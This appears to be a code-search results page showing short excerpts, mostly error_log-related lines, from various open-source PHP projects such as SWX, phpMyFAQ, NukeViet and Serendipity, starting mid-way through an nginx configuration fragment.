html;\r\n }\r\n\r\n # proxy the PHP scripts to Apache listening on 127.0.0.1:80\r\n #\r\n #location ~ \\.php$ {\r\n # proxy_pass http://127.0.0.1;\r\n #}\r\n\r\n # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000\r\n #\r\n #location ~ \\.php$ {\r\n # root html;\r\n # fastcgi_pass 127.0.0.1:9000;\r\n # fastcgi_index index.php;\r\ndatabase.mysql.link.class.php http://php-ppcms.googlecode.com/svn/trunk/ | PHP | 887 lines
1<?php 2/*************************************************************** 178 //if( $this->enableSQLlog == 'true') ) { 179 // error_log('QUERY ' . $query . "\n", 3, $this->db_logfile); 180 //} 187 //if( $this->enableSQLlog == 'true') ) { 188 // error_log('RESULT ' . $result . ' ' . mysql_errno() . ' ' . mysql_error() . "\n", 3, $this->db_logfile); 189 //}DBSqlite3_pdo.class.php http://xe-core.googlecode.com/svn/trunk/ | PHP | 637 lines
1<?php 2 /** 88 try { 89 // PDO is only supported with PHP5, 90 // so it is allowed to use try~catch statment in this class. 137 // There was no transaction started, so just continue. 138 error_log($e->getMessage()); 139 } 146 function addQuotes($string) { 147 if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); 148 if(!is_numeric($string)) $string = str_replace("'","''",$string);SwxAssembler.php http://swx-format.googlecode.com/svn/trunk/ | PHP | 789 lines
15 16// PHP 5 compatibility layer for PHP 4 17require_once('lib/str_split.php'); 33 // Determine endianness of the system that this is running under 34 // Adapted from: http://phpfer.com/rn45re877.html 35 $ab = 0x6162; 58 59 if (LOG_ALL) error_log ('[SWX] INFO Running on a '.$endian.' system.'); 60 } 339 { 340 //error_log('Bytecode is empty, skipping...'); 341 } 543 // the SWF to the error log (helps with testing.) 544 // error_log($this->prettyHex($swf)); 545 }SwxAS2Assembler.php http://swx-format.googlecode.com/svn/trunk/ | PHP | 792 lines
1<?php 2 30 // Determine endianness of the system that this is running under 31 // Adapted from: http://phpfer.com/rn45re877.html 32 $ab = 0x6162; 55 56 if (LOG_ALL) error_log ('[SWX] INFO Running on a '.$endian.' system.'); 57 } 58 59 // From http://de.php.net/var_dump 60 function getVarDump($mixed = null) 95 * 96 * @param any A PHP data structure 97 * @return string Swf bytecode representation of the data structure. 142 trigger_error('Unhandled data type ('.$type.')', E_USER_ERROR); 143 //error_log('[SWX] ERROR dataToBytecode() Unhandled data type: ' . $type); 144 //$bytecode = "ERROR";SwxAS3Assembler.php http://swx-format.googlecode.com/svn/trunk/ | PHP | 619 lines
5include_once('core/swx/as3/tags.php'); 6include_once('core/swx/as3/method_info.php'); 7include_once('core/swx/as3/class_info.php'); 7include_once('core/swx/as3/class_info.php'); 8include_once('core/swx/as3/script_info.php'); 9include_once('core/swx/as3/instance_info.php'); 10include_once('core/swx/as3/method_body_info.php'); 11include_once('core/swx/as3/avm2_instructions.php'); 12include_once('core/swx/as3/traits_info.php'); 13include_once('core/swx/as3/namespace.php'); 14include_once('core/swx/as3/multiname.php'); 15include_once('core/swx/as3/abcFile.php'); 19 20// PHP 5 compatibility layer for PHP 4 21require_once('lib/str_split.php');Twitter.php http://swx-format.googlecode.com/svn/trunk/ | PHP | 872 lines
1<?php 2 /** 5 * 6 * You can call this API using SWX, Amfphp, JSON and XML-RPC. 7 * 17 // Require base service class 18 require_once("../BaseService.php"); 19 20 /** 21 * SWX Twitter API by Aral Balkan. You can call this API using SWX, Amfphp, JSON and XML-RPC. 22 **/ 128 { 129 //error_log("source = ".$source); 130 $args['source'] = $source; 131 132 //error_log($args['status']); 133 //error_log($args['source']);index.php http://lansuite.googlecode.com/svn/trunk/ | PHP | 386 lines
10 #ini_set('log_errors', 1); 11 #ini_set('error_log', 'log/php/'); 12 // Disable SID in URL 16 function myErrorHandler($errno, $errstr, $errfile, $errline) { 17 global $PHPErrors, $PHPErrorsFound, $db, $auth; 18 153 Überprüfe die Datei <b>config.php</b> im Verzeichnis inc/base/" .HTML_FONT_END; 154 error_log('Öffnen oder Lesen der Konfigurations-Datei inc/base/config.php nicht möglich'); 155 exit(); 331 $db->DisplayErrors(); 332 if ($PHPErrors) $func->error($PHPErrors); 333 $PHPErrors = ''; 343 $db->DisplayErrors(); 344 if ($PHPErrors) $func->error($PHPErrors); 345 $PHPErrors = '';index.php http://creative-portal.googlecode.com/svn/trunk/ | PHP | 670 lines
1<?php 2 19{ 20 if ( is_file( NV_ROOTDIR . '/language/' . $file . '/install.php' ) ) 21 { 25 26require_once ( NV_ROOTDIR . "/modules/users/language/" . NV_LANG_DATA . ".php" ); 27require_once ( NV_ROOTDIR . "/language/" . NV_LANG_DATA . "/install.php" ); 27require_once ( NV_ROOTDIR . "/language/" . NV_LANG_DATA . "/install.php" ); 28require_once ( NV_ROOTDIR . "/install/template.php" ); 29require_once ( NV_ROOTDIR . "/includes/core/admin_functions.php" ); 46 $step = $maxstep; 47 Header( "Location: " . NV_BASE_SITEURL . "index.php?" . NV_LANG_VARIABLE . "=" . NV_LANG_DATA . "&step=" . $step . "" ); 48 exit(); 126 $array_dir = array( 127 NV_DATADIR, NV_SESSION_SAVE_PATH, NV_LOGS_DIR, NV_LOGS_DIR . "/data_logs", NV_LOGS_DIR . "/dump_backup", NV_LOGS_DIR . "/error_logs", NV_LOGS_DIR . "/error_logs/errors256", NV_LOGS_DIR . "/error_logs/old", NV_LOGS_DIR . "/error_logs/tmp", NV_LOGS_DIR . "/ip_logs", NV_LOGS_DIR . "/ref_logs", NV_LOGS_DIR . "/voting_logs", NV_CACHEDIR, NV_UPLOADS_DIR, NV_TEMP_DIR 128 );mainfile.php http://creative-portal.googlecode.com/svn/trunk/ | PHP | 437 lines
81 $forum_files = @scandir( NV_ROOTDIR . '/' . DIR_FORUM . '/nukeviet' ); 82 if ( ! empty( $forum_files ) and in_array( 'is_user.php', $forum_files ) and in_array( 'changepass.php', $forum_files ) and in_array( 'editinfo.php', $forum_files ) and in_array( 'login.php', $forum_files ) and in_array( 'logout.php', $forum_files ) and in_array( 'lostpass.php', $forum_files ) and in_array( 'register.php', $forum_files ) ) 83 { 120$global_config['send_errors_list'] = NV_SEND_ERRORS_LIST; 121$global_config['error_log_path'] = NV_LOGS_DIR . '/error_logs'; 122$global_config['error_log_filename'] = NV_ERRORLOGS_FILENAME; 125//Ket noi voi class Error_handler 126require_once ( NV_ROOTDIR . '/includes/class/error.class.php' ); 127$ErrorHandler = new Error( $global_config ); 138require_once ( NV_ROOTDIR . "/includes/ini.php" ); 139require_once ( NV_ROOTDIR . '/includes/functions.php' ); 140require_once ( NV_ROOTDIR . '/includes/core/theme_functions.php' ); 218define( 'NV_DOCUMENT_ROOT', $nv_Request->doc_root ); // D:/AppServ/www 219define( 'NV_EOL', ( strtoupper( substr( PHP_OS, 0, 3 ) == 'WIN' ) ? "\r\n" : ( strtoupper( substr( PHP_OS, 0, 3 ) == 'MAC' ) ? "\r" : "\n" ) ) ); //Ngat dong 220define( 'NV_UPLOAD_MAX_FILESIZE', min( nv_converttoBytes( ini_get( 'upload_max_filesize' ) ), nv_converttoBytes( ini_get( 'post_max_size' ) ), $global_config['nv_max_size'] ) );ajax.user.php git://github.com/thorsten/phpMyFAQ.git | PHP | 219 lines
20use phpMyFAQ\Filter; 21use phpMyFAQ\Helper\HttpHelper; 22use phpMyFAQ\Helper\MailHelper; 94 case 'activate_user': 95 if (!isset($_SESSION['phpmyfaq_csrf_token']) || $_SESSION['phpmyfaq_csrf_token'] !== $csrfToken) { 96 $http->setStatus(400); 106 case 'add_user': 107 if (!isset($_SESSION['phpmyfaq_csrf_token']) || $_SESSION['phpmyfaq_csrf_token'] !== $csrfToken) { 108 $http->setStatus(400); 160 case 'delete_user': 161 if (!isset($_SESSION['phpmyfaq_csrf_token']) || $_SESSION['phpmyfaq_csrf_token'] !== $csrfToken) { 162 $http->setStatus(400); 189 case 'overwrite_password': 190 if (!isset($_SESSION['phpmyfaq_csrf_token']) || $_SESSION['phpmyfaq_csrf_token'] !== $csrfToken) { 191 $http->setStatus(400);ddt.php git://github.com/s9y/Serendipity.git | PHP | 289 lines
1<?php 2/* 163* Displays a formatted error message to the user. 164* If the global _DDT_ERROR_LOG is set the error message is dumped 165* to that file instead of being displayed to the user. 170 171global $_DDT_ERROR_LOG; 172global $_DDT_CMDLINE; 173 174if ( @$_DDT_ERROR_LOG == NULL ) 175 { 188 189 if (( $fp = fopen( $_DDT_ERROR_LOG, "a" )) != NULL ) 190 { 246 247global $_DDT_ERROR_LOG; 248menu.tpl http://coderstalk.googlecode.com/svn/trunk/ | Smarty Template | 144 lines
12 <ul> 13 <li><a href="<?php echo $user; ?>"><?php echo $text_user; ?></a></li> 14 <li><a href="<?php echo $user_group; ?>"><?php echo $text_user_group; ?></a></li> 30 </li> 31 <li><a href="<?php echo $error_log; ?>"><?php echo $text_error_log; ?></a></li> 32 <li><a href="<?php echo $backup; ?>"><?php echo $text_backup; ?></a></li> 41 <li><a href="<?php echo $product; ?>"><?php echo $text_product; ?></a></li> 42 <li><a href="<?php echo $manufacturer; ?>"><?php echo $text_manufacturer; ?></a></li> 43 <li><a href="<?php echo $download; ?>"><?php echo $text_download; ?></a></li> 59 <li><a href="<?php echo $customer; ?>"><?php echo $text_customer; ?></a></li> 60 <li><a href="<?php echo $customer_group; ?>"><?php echo $text_customer_group; ?></a></li> 61 <li><a href="<?php echo $order; ?>"><?php echo $text_order; ?></a></li> 75 <li><a onclick="window.open('http://www.opencart.com');"><?php echo $text_opencart; ?></a></li> 76 <li><a onclick="window.open('http://www.opencart.com/index.php?route=documentation/introduction');"><?php echo $text_documentation; ?></a></li> 77 <li><a onclick="window.open('http://forum.opencart.com');"><?php echo $text_support; ?></a></li>quickbooksms_driver.php git://github.com/calvinfroedge/PHP-Payments.git | PHP | 404 lines
1<?php 2 5 /** 6 * The PHP-Payments method 7 */ 244 { 245 error_log("$k is not a valid param for the $l method of QuickBooksMS"); 246 }